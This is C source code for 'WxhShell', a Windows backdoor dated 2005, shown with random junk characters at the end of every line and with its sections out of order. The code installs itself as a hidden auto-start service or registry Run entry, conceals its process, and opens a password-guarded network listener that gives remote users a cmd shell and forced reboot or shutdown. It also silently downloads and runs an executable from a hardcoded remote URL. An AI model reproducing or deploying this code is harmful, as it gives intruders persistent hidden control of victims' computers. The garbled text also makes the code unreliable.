    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X:-X3mV9{  
    if(Boot(SHUTDOWN)) 3(P^PP8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 475yX-A  
    else {  N>`+{  
    closesocket(wsh); "M6a_rZ2W  
    ExitThread(0); FW7+!A&F  
    } Ff>Y<7CQ v  
    break; pH#&B_S6z=  
    } b qB[ vPsI  
  // 获取shell R7*Jb-;$!  
  case 's': { Wq)'0U;{$  
    CmdShell(wsh); 1=#r$H  
    closesocket(wsh); $oE 4q6b  
    ExitThread(0); dgssX9g37  
    break; $m/-E#I #Z  
  } U[d/ `  
  // 退出 FcIH<_r  
  case 'x': { $}oQ=+c5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e<5+&Cj  
    CloseIt(wsh); N&NOh|YS  
    break; V2es.I  
    } zc J]US  
  // 离开 G_5sF|(mq  
  case 'q': { OxElvbM#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +C;ZO6%w  
    closesocket(wsh); )|LX_kyW  
    WSACleanup(); /og}e~q  
    exit(1); MIa].S#  
    break; <0P`ct0,i  
        } EC1q#;:  
  } ,2JqX>On>Y  
  } GQqw(2Ub}  
!N$4.slr<p  
  // 提示信息 =D5@PHpv(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p@i U}SUaE  
} X2@mQ&n  
  } \$;\,p p  
=\4w" /Y  
  return; 7g ]]>  
} ulfpop*2  
.u7d  
// shell模块句柄 S !c/"~X+  
int CmdShell(SOCKET sock) d!8q+FI  
{ 1ISA^< M  
STARTUPINFO si; Qm`f5-d  
ZeroMemory(&si,sizeof(si)); R $'}Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3FPy"[[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &Wd,l$P<O  
PROCESS_INFORMATION ProcessInfo; 2?t(%uf]  
char cmdline[]="cmd"; e::5|6x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  hPr  
  return 0; #!#V!^ o  
} d\;M F  
dMGu9k~u  
// 自身启动模式 3\=8tg p  
int StartFromService(void) 0nx <f>n  
{ x(}tr27o  
typedef struct 8g>jz 8  
{  >o.u,  
  DWORD ExitStatus; 7vr)JT=  
  DWORD PebBaseAddress; TeqFy(Dr  
  DWORD AffinityMask; "]c:V4S#`A  
  DWORD BasePriority; S-2xe?sb  
  ULONG UniqueProcessId; IUd>jHp`6  
  ULONG InheritedFromUniqueProcessId; A!^K:S:@  
}   PROCESS_BASIC_INFORMATION; /bCrpcH  
fS#/-wugOB  
PROCNTQSIP NtQueryInformationProcess; m.K"IXD  
v@>hjie  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P]Gsc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *\VQ%_wg  
XQj`KUO@  
  HANDLE             hProcess; 5\|[)~b  
  PROCESS_BASIC_INFORMATION pbi; DP; B*s4{U  
\!cqeg*53  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8.-PQ  
  if(NULL == hInst ) return 0; *<9D]  
I$f:K]|.m!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Fi5,y;]R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ce5 }+A}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gFDP:I/`  
u85y;AE,(  
  if (!NtQueryInformationProcess) return 0; A1Q]KS@  
2#+@bk>^{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 00;=6q]TA  
  if(!hProcess) return 0; uU5:,Wy+dg  
&<_sXHg<x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iZjvO`@[  
][G<CO`k  
  CloseHandle(hProcess); _"WQi}Mm  
`n^jU92  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qk_ s"}sS  
if(hProcess==NULL) return 0; bO2$0!=I  
k9^P#l@p  
HMODULE hMod; $%1[<}<  
char procName[255]; 0A 4(RLGg  
unsigned long cbNeeded; U +mx@C_  
' J-(v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _|A)ueY  
$~D`-+J  
  CloseHandle(hProcess); :~T:&;q0  
uL-i>!"L!}  
if(strstr(procName,"services")) return 1; // 以服务启动 =,T~F3pK  
+!_^MBkk  
  return 0; // 注册表启动 ;U20g:K  
} Q 5@~0  
a'T|p)N.;T  
// 主模块 j,1,;  
int StartWxhshell(LPSTR lpCmdLine) <EBp X   
{ sXhtn' <v  
  SOCKET wsl; up:e0di{  
BOOL val=TRUE; o.Cj+`0}5  
  int port=0; aaaC8;.  
  struct sockaddr_in door; kN}.[enI~  
l>=c]  
  if(wscfg.ws_autoins) Install(); 6eS#L21*  
l>qCT  
port=atoi(lpCmdLine); t#P)KcWOt  
HvTi^Fb\a  
if(port<=0) port=wscfg.ws_port; <M$hj6.tn  
QT|mN  
  WSADATA data; CS"p[-0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &UzZE17R  
{g @ *jo&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C62<pLJf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Kjf#uU.7  
  door.sin_family = AF_INET; "\>3mVOb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nmSpNkJ5  
  door.sin_port = htons(port); &rNXn?>b  
Hy `r}+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @EZXPU  
closesocket(wsl); g` h>:5]  
return 1; MI@ RdXkY  
} zM@iG]?kc  
2<988F  
  if(listen(wsl,2) == INVALID_SOCKET) { *50Ykf  
closesocket(wsl); Ft>ixn  
return 1; R#T6I i  
} RuXK` y Sv  
  Wxhshell(wsl); CLYcg$V  
  WSACleanup(); nEGku]pCH{  
-Z;:_"&9  
return 0; Q`//HOM,  
G)e 20Mst  
} k~q[qKb8y:  
[j![R  
// 以NT服务方式启动 <v2R6cj5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \\/X+4|o'  
{ -_314j=`/  
DWORD   status = 0; SU#|&_wtr!  
  DWORD   specificError = 0xfffffff; '.dW>7  
pixI&iQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EAq >v t83  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1gt[_P2u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {==Q6BG*  
  serviceStatus.dwWin32ExitCode     = 0; qkBnEPWZy  
  serviceStatus.dwServiceSpecificExitCode = 0; qb9%Y/xy  
  serviceStatus.dwCheckPoint       = 0; WYh7Y  
  serviceStatus.dwWaitHint       = 0; 5o72X k  
>)5vsqGZaK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;J5oO$H+68  
  if (hServiceStatusHandle==0) return; j2\G1@05  
3$kZu  
status = GetLastError(); &G"]v]V  
  if (status!=NO_ERROR) XSxya .1  
{ 1/fvk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -~-2 g  
    serviceStatus.dwCheckPoint       = 0; '{+hti,Lh  
    serviceStatus.dwWaitHint       = 0; _rR.Y3N  
    serviceStatus.dwWin32ExitCode     = status; a%]p*X!  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2xnOWW   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h T Xc0  
    return; ~j 4=PT  
  } D=OU61AA  
>N3{*W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MD On; Af>  
  serviceStatus.dwCheckPoint       = 0; A9R}74e4g  
  serviceStatus.dwWaitHint       = 0; 3n/L; T,X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Jg Xbs+.  
} '+eP%Y[W%  
h]=chz  
// 处理NT服务事件,比如:启动、停止 <B fwR$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rcbixOT  
{ C4G)anT  
switch(fdwControl) '*-SvA\Cx  
{  I&v B\A  
case SERVICE_CONTROL_STOP: ~kHir]jc  
  serviceStatus.dwWin32ExitCode = 0; /;lk.-yU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l9jcoVo .  
  serviceStatus.dwCheckPoint   = 0; tT v@8f  
  serviceStatus.dwWaitHint     = 0; E?zp?t:a  
  { +|0m6)J]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 49#-\=<gt  
  } iKK=A.g  
  return; 3a5H<3w_  
case SERVICE_CONTROL_PAUSE: givK{Yt<B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4-"wFp  
  break; Mfz5:'  
case SERVICE_CONTROL_CONTINUE: F?dTCa  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 980+Y  
  break; ^*r${Nj  
case SERVICE_CONTROL_INTERROGATE: '|cuVxcE55  
  break; B8nXWi  
}; q"cFw${  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |z4/4Y@  
} H}@|ucM"\  
2KG j !w  
// 标准应用程序主函数 L fi]s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }E=kfMu  
{ tyDtwV|  
)CmuC@ Q"  
// 获取操作系统版本 m0edkt-x  
OsIsNt=GetOsVer(); V4"AFArI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZN)/doK  
SB;Wa%  
  // 从命令行安装 >}I}9y+  
  if(strpbrk(lpCmdLine,"iI")) Install(); }+B7C2_\  
X}!_p& WI  
  // 下载执行文件 U!'lc} 5  
if(wscfg.ws_downexe) { %MIu;u FR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) = MXF`k^}  
  WinExec(wscfg.ws_filenam,SW_HIDE); *K)v&}uw  
} ;z?XT \C$  
\xdt|:8  
if(!OsIsNt) { 3xe8DD  
// 如果时win9x,隐藏进程并且设置为注册表启动 0g+@WK6y  
HideProc(); UtutdkaS  
StartWxhshell(lpCmdLine); dnx}c4P  
} F>M$|Sc2  
else zPmVECS  
  if(StartFromService()) d!d 3r W;A  
  // 以服务方式启动 ^Y&Cm.w  
  StartServiceCtrlDispatcher(DispatchTable); VgdkCdWRm_  
else Q(sbClp"  
  // 普通方式启动 ;L[9[uQ[C  
  StartWxhshell(lpCmdLine);  Ntqc=z  
70NHU;&N  
return 0; A`r9"([-A  
} lfA  BF  
9j 8t<5s  
~;+vF-]R  
wx!*fy4hL  
=========================================== V ;6M[ic}  
~L1O\V i  
<H p"ZCN  
fH.W kAE1  
"VeUOdNA>  
d5%*^nMpY  
" 1^;h:,e6  
rEf\|x=st:  
#include <stdio.h> "tark'  
#include <string.h> =6dKC_Q  
#include <windows.h> xsvs3y|  
#include <winsock2.h> 7L]?)2=  
#include <winsvc.h> Gh pd k;  
#include <urlmon.h> A)#sh) }Q  
2mO#vTX4  
#pragma comment (lib, "Ws2_32.lib") c>R(Fs|6  
#pragma comment (lib, "urlmon.lib") (w- u"1&  
@r43F$bcqo  
#define MAX_USER   100 // 最大客户端连接数 ~Qsj)9  
#define BUF_SOCK   200 // sock buffer $O>@(K  
#define KEY_BUFF   255 // 输入 buffer Jv<)/Km`  
[0LqZ<\5  
#define REBOOT     0   // 重启 %(Ys-GeGr  
#define SHUTDOWN   1   // 关机 ""+*Gn 7^8  
pd1m/:  
#define DEF_PORT   5000 // 监听端口 Psa8OJan  
kziBHis!  
#define REG_LEN     16   // 注册表键长度 a(~Yr A%~  
#define SVC_LEN     80   // NT服务名长度 u s0'7|{q  
{Y"r]:5i  
// 从dll定义API -FR;:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VB\6S G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;40m goN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <f6PULm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HH#i.s2  
PPPwDsJ  
// wxhshell配置信息 }ELCnN  
struct WSCFG { de6dLT>m  
  int ws_port;         // 监听端口 nnNg^<[k3  
  char ws_passstr[REG_LEN]; // 口令 t4*A+"~j  
  int ws_autoins;       // 安装标记, 1=yes 0=no %MJ7u}  
  char ws_regname[REG_LEN]; // 注册表键名 &-:yn&f7  
  char ws_svcname[REG_LEN]; // 服务名 l{U3;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~K96y$ DTE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )R@gnTe  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -],?kP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cQ41NX@I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Uq.~3V+u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N]}+F w\5  
5ecz'eA%  
}; }tZAU\z  
N)*e^Nfb  
// default Wxhshell configuration ug,|'<G+  
struct WSCFG wscfg={DEF_PORT, D:E_h  
    "xuhuanlingzhe", ?v8k& q^q  
    1, "V0:Lq  
    "Wxhshell", 7 !.8#A':  
    "Wxhshell", d-sh6q5  
            "WxhShell Service", $0SZlq>En  
    "Wrsky Windows CmdShell Service", ebe@.ZVSi  
    "Please Input Your Password: ", -l@W)?$  
  1, b=U MoWS  
  "http://www.wrsky.com/wxhshell.exe", 4 .B*B3  
  "Wxhshell.exe" j2 ^T:q[  
    }; l&Ghs@>Kl  
dO;vcgvb  
// 消息定义模块 xg^^@o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @%nUfG7TQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xJLO\B+gM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]~Vu-@ /}  
char *msg_ws_ext="\n\rExit."; AdW2o|Uap  
char *msg_ws_end="\n\rQuit."; rOHW  
char *msg_ws_boot="\n\rReboot..."; (I ds<n"  
char *msg_ws_poff="\n\rShutdown..."; K=?F3tX^  
char *msg_ws_down="\n\rSave to "; ]C6[`WF  
idS RWa  
char *msg_ws_err="\n\rErr!"; QeJ.o.m{  
char *msg_ws_ok="\n\rOK!"; _ 1> 4Q%  
%OW9cqL>l  
char ExeFile[MAX_PATH]; Yb3f]4EH  
int nUser = 0; p}DF$k%`  
HANDLE handles[MAX_USER]; xO-U]%oq  
int OsIsNt; d.j'0w"   
K_|~3g  
SERVICE_STATUS       serviceStatus; :@`(}5F4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s|j<b#<xQ  
&9_\E{o%]  
// 函数声明 <o7#?AcPu  
int Install(void); <GgtP55  
int Uninstall(void); u?3NBc$~A  
int DownloadFile(char *sURL, SOCKET wsh); AJ` v  
int Boot(int flag); AV 5\W}  
void HideProc(void); O;e8ft '|  
int GetOsVer(void); e_k _ ty`  
int Wxhshell(SOCKET wsl); lhA s!\F  
void TalkWithClient(void *cs); o-=d|dWG  
int CmdShell(SOCKET sock); FNm6/_u3  
int StartFromService(void); XVDd1#h  
int StartWxhshell(LPSTR lpCmdLine); +%qSB9_>N{  
QiE<[QP{g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rK QASRF5*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); px }7If  
Ipz 1+ #s'  
// 数据结构和表定义 d6@jEa-  
SERVICE_TABLE_ENTRY DispatchTable[] = c`i=(D<  
{ oUvk2]H  
{wscfg.ws_svcname, NTServiceMain}, <%>n@A  
{NULL, NULL} 7{^4 x#NO  
}; b({Nf,(a2  
RD$tc~@UB  
// 自我安装 >@^yj+k  
int Install(void) "-Q Rkif  
{ uz#PBV8Q  
  char svExeFile[MAX_PATH]; q_]   
  HKEY key; )ehB)X  
  strcpy(svExeFile,ExeFile); y+";  
Qyv'nx0=  
// 如果是win9x系统,修改注册表设为自启动 !jnqA Z  
if(!OsIsNt) { [Ql?Y$QB`4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b4)*<Zp`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h lkvk]v  
  RegCloseKey(key); (}FW])y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V4eng "  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v*H &F   
  RegCloseKey(key); h*#2bS~nl-  
  return 0; (' Ko#3b  
    } `$V[;ld(mz  
  } du'}+rC  
} CaYos;Pl  
else { MLt'YW^  
U+*oI*  
// 如果是NT以上系统,安装为系统服务 Z6R: rq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xQ#Akd=  
if (schSCManager!=0) (9KDtr*(2i  
{ =(.mf  
  SC_HANDLE schService = CreateService Rnj Jg?I=  
  ( 5]H))}9>d  
  schSCManager, -4vHK!l  
  wscfg.ws_svcname, YBtq0c  
  wscfg.ws_svcdisp, "y~muE:.  
  SERVICE_ALL_ACCESS, "$W|/vD+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q: TT4MUj<  
  SERVICE_AUTO_START, b =K6IX;  
  SERVICE_ERROR_NORMAL, 9iGE`1N%E  
  svExeFile, Ld\LKwo  
  NULL, hY.e[+  
  NULL, yE.495  
  NULL, ^Y{6;FJ  
  NULL, aYaG]&hb  
  NULL w>6"Sc7oc2  
  ); pHj[O?F  
  if (schService!=0) nIyROhZ  
  { lrs0^@.+  
  CloseServiceHandle(schService); #QTfT&m+G}  
  CloseServiceHandle(schSCManager); AaVI%$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); obAs<nk  
  strcat(svExeFile,wscfg.ws_svcname); d; mmM\3]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8! H8[J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @ ],6SKbG6  
  RegCloseKey(key); :BL'>V   
  return 0; K0 O-WJ  
    } `Di ^6UK(  
  } ;|>q zx  
  CloseServiceHandle(schSCManager); 0i8[=  
} Uz6{>OCvk|  
} c~gNH%1XN  
'v\1:zi  
return 1; &/ >;LgN  
} 0" U5oP[  
"UQr:/  
// 自我卸载 yu`KzIU  
int Uninstall(void)  xFBh?  
{ SON ^CvMs{  
  HKEY key; cBz!U 8(  
ZnvEv;P  
if(!OsIsNt) { V!T^wh;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wr$cK'5ZL  
  RegDeleteValue(key,wscfg.ws_regname); BIxV|\k  
  RegCloseKey(key); h8f!<:rTS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '1W!xQ}E  
  RegDeleteValue(key,wscfg.ws_regname); IajD;V  
  RegCloseKey(key); (KT38RhA  
  return 0; 1MbY7!?PG  
  } <i\UMrD]`:  
} ?^%YRB&  
} k $e D(cW$  
else { y z[%MXI  
+1otn~(E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Nb~,`bu,2  
if (schSCManager!=0) w^06z,  
{ H$z>OS_6U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BFBR/d[&  
  if (schService!=0) m b%C}8D  
  { W(;x\Nc7  
  if(DeleteService(schService)!=0) { zKIGWH=qqm  
  CloseServiceHandle(schService); !oZQ2z~  
  CloseServiceHandle(schSCManager); %04:z77  
  return 0; i{o#3  
  } [J a)<!]<  
  CloseServiceHandle(schService); _1I K$gb[  
  } @%6)^]m}r  
  CloseServiceHandle(schSCManager); cC^W2\  
} 9@:BK;Fi  
} v6wRME;JA  
JB&G~7Q85  
return 1; y,MPGW_  
} ?qju DD  
\Dn&"YG7  
// 从指定url下载文件 z%OuI 8"'  
int DownloadFile(char *sURL, SOCKET wsh) R=!kbBK>\  
{ Q;4}gUmI$  
  HRESULT hr; FoE|Js  
char seps[]= "/"; T"n{WmVQ  
char *token; -glugVq  
char *file; Rw{$L~\  
char myURL[MAX_PATH]; IikG /8lP  
char myFILE[MAX_PATH]; V?OuIg%=:  
:1:3Svb<Y  
strcpy(myURL,sURL); 8]S,u:E:N  
  token=strtok(myURL,seps); ~mtTsZc  
  while(token!=NULL) ~j=xiP  
  { 0CT}DQ._^N  
    file=token; AT"!{Y "H  
  token=strtok(NULL,seps); Vwjk[ DOL  
  } ov8 ByJc  
? Phk~ jE  
GetCurrentDirectory(MAX_PATH,myFILE); kW#S]fsfU  
strcat(myFILE, "\\"); `YPe^!` $  
strcat(myFILE, file); ]JH64~a  
  send(wsh,myFILE,strlen(myFILE),0); 9/#0?(K8  
send(wsh,"...",3,0); 1o8wy_eSs  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0s1'pA'  
  if(hr==S_OK) 2;8Xz 6T  
return 0; $30oc Tt{  
else W7t >&3l  
return 1; |~z3U>  
Odm#wL~E  
} xdPcsox~  
YQ; cJ$  
// 系统电源模块 N1%p"(  
int Boot(int flag) f0vJm  
{ :4|M jn  
  HANDLE hToken; S@x}QQ|.  
  TOKEN_PRIVILEGES tkp; UEzsDJu  
g6WPPpqus  
  if(OsIsNt) { X2qv^G,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HN{zT&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QIQfI05  
    tkp.PrivilegeCount = 1; 2Zy_5>~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D}-o+6TI?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %;7.9%  
if(flag==REBOOT) { z 5'ZN+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X/l;s  
  return 0; o+NMA (  
} mb&lCd ^-  
else { wqUQ"d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >)Ioo$B  
  return 0; +]c/&Xo!  
} PY?8 [A+  
  } 6JhMkB^h  
  else { @D)Z{=>{=5  
if(flag==REBOOT) { pV7N byb4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {Bh("wg$Lk  
  return 0; Ea-bC:>  
} 4jQ'+ 2it  
else { b^x07lO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y&K <{\vE  
  return 0; @xS]!1-  
} #;]2=@  
} :$?Q D  
w d/G|kNO  
return 1; 3Hw[s0[$  
} fxd0e;NAAh  
B8H75sz  
// win9x进程隐藏模块 k^%2_H  
void HideProc(void) >.e+S?o  
{ \7Qb229?  
'f+NW &   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dy2rkV.z  
  if ( hKernel != NULL ) NgVR,G|1  
  { R(G\wqHUT3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _1aGtX|W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <J&7]6Z  
    FreeLibrary(hKernel); D^+?|Y@N  
  } z<B CLP  
='}#`',  
return; RP! X8~8  
} )u*^@Wo  
GKZN}bOm\  
// 获取操作系统版本 ?iv=53<c#  
int GetOsVer(void) [k$efwJ  
{ oZN'H T  
  OSVERSIONINFO winfo; ?'eq",c#4N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xr[Vp  
  GetVersionEx(&winfo); s9O2k}]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >zs5s  
  return 1; jAC78n,Fi@  
  else _okWQvdH  
  return 0; (?>cn_m  
} KxIyc7.  
Y.sz|u 1  
// 客户端句柄模块 ~}'F887f  
int Wxhshell(SOCKET wsl) wfR&li{  
{ o r2|O#=  
  SOCKET wsh; /:Lu_)5   
  struct sockaddr_in client; E7nFb:zlV  
  DWORD myID; Y/fJQ6DY  
HbM0TXo  
  while(nUser<MAX_USER) l +'F_a  
{ xq[Yg15d%  
  int nSize=sizeof(client); fPqr6OYz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wvN`R  
  if(wsh==INVALID_SOCKET) return 1; fvqd'2 t  
T2=HG Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s_[VHPN  
if(handles[nUser]==0) DMn4ll|  
  closesocket(wsh); !l 6dg&  
else N|K4{Frm  
  nUser++; uwmQ?LS]V  
  } TTZe$>f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B{MaMf)  
V'pqxjfd  
  return 0; </[: 9Cl  
} 8 lT{1ro  
},@``&e  
// 关闭 socket 5MF#&v  
void CloseIt(SOCKET wsh) C&<~f#lB  
{ )8,|-o=  
closesocket(wsh); 7K;!iX<d  
nUser--; @?k J).  
ExitThread(0); #_JYh?  
} Q@S-f:!  
$IX\O  
// 客户端请求句柄 O )d[8jw"  
void TalkWithClient(void *cs) * F4UAQzYb  
{ nP3  E  
t;NV $!!  
  SOCKET wsh=(SOCKET)cs; h6v077qG  
  char pwd[SVC_LEN]; b5a.go  
  char cmd[KEY_BUFF]; q7\Ovjs0  
char chr[1]; F<|t\KOW  
int i,j; swcd&~9r  
>IfV\ w32  
  while (nUser < MAX_USER) { f&KdlpxKv  
~h$wH{-U#  
if(wscfg.ws_passstr) { -ijC_`>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p3(2?UO!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i|WQ0fD  
  //ZeroMemory(pwd,KEY_BUFF); xHA0gZf  
      i=0; Fc6iQ  
  while(i<SVC_LEN) { 'b&yrBFD  
8LzBh_J?  
  // 设置超时 u<xo/=Z  
  fd_set FdRead; =r2]uW9  
  struct timeval TimeOut; P-`(0M7^  
  FD_ZERO(&FdRead); 9+=gke  
  FD_SET(wsh,&FdRead); $IQw=w7 p  
  TimeOut.tv_sec=8; U/ od~29  
  TimeOut.tv_usec=0; fmX!6Kv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r6Aneg7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vvp[P >  
0RFRbi@n(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nh+l7 8  
  pwd=chr[0]; Z4b||  
  if(chr[0]==0xd || chr[0]==0xa) { }<a^</s  
  pwd=0; SmwQET<H  
  break; h^UKT`9vt  
  } #W>QY Tp  
  i++; <AH1i@4  
    } /]^#b  
GL$De,V  
  // 如果是非法用户,关闭 socket X{xBYZv4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #%0Bx3uM  
} W~1~k{A  
}_9,w;M$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "R>FqX6FB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CusF/>  
:aCrX  
while(1) { hVUh0XeO  
2_^aw[-  
  ZeroMemory(cmd,KEY_BUFF); w o bgu  
MK #wut  
      // 自动支持客户端 telnet标准   V~G`kkNy  
  j=0; hj%ye~|~  
  while(j<KEY_BUFF) { 9;.(u'y|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i:]*P  
  cmd[j]=chr[0]; /AY4M;}p  
  if(chr[0]==0xa || chr[0]==0xd) { F,BOgWwP  
  cmd[j]=0; 'xY@x-o  
  break; !E8X~DJ  
  } Yb3mP!3q8Z  
  j++; GzXUU@p  
    } ^!<dgBNj  
H,3\0BKk  
  // 下载文件 OJ|r6  
  if(strstr(cmd,"http://")) { :}8Z@H!KkY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,l YE  
  if(DownloadFile(cmd,wsh)) W!Hm~9fz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^&@w$  
  else >@xrs  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &Mq~T_S  
  } ~c^>54  
  else { vX0f,y  
 xw^R@H  
    switch(cmd[0]) { zi R5:d3   
